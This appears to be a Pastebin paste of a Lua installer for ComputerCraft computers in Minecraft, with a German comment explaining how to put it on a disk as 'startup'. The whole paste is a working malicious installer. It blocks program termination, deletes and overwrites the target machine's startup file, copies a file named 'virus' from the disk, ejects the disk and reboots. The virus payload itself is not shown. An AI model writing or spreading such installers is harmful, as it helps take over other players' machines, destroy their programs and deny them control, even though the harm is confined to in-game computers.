Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --Dieses Programm ist der Installer. Am besten funktioniert es wenn Ihr es "startup" nennt und auf eine Diskette ladet/kopiert/u.s.w. und dann den PC neu startet.
- os.pullEvent = os.pullEventRaw
- function Test()
- a = peripheral.getType("right")
- b = peripheral.getType("left")
- c = peripheral.getType("top")
- d = peripheral.getType("bottom")
- e = peripheral.getType("back")
- f = peripheral.getType("front")
- if a == "drive" then
- disk.eject("right")
- elseif b == "drive" then
- disk.eject("left")
- elseif c == "drive" then
- disk.eject("top")
- elseif d == "drive" then
- disk.eject("bottom")
- elseif e == "drive" then
- disk.eject("back")
- elseif f == "drive" then
- disk.eject("front")
- end
- end
- if fs.exists("startup") == true then
- fs.delete("startup")
- fs.copy("disk/1","startup")
- else
- fs.copy("disk/1","startup")
- end
- if fs.exists("virus") == true then
- fs.delete("virus")
- fs.copy("disk/virus","virus")
- Test()
- os.reboot()
- else
- fs.copy("disk/virus","virus")
- Test()
- os.reboot()
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement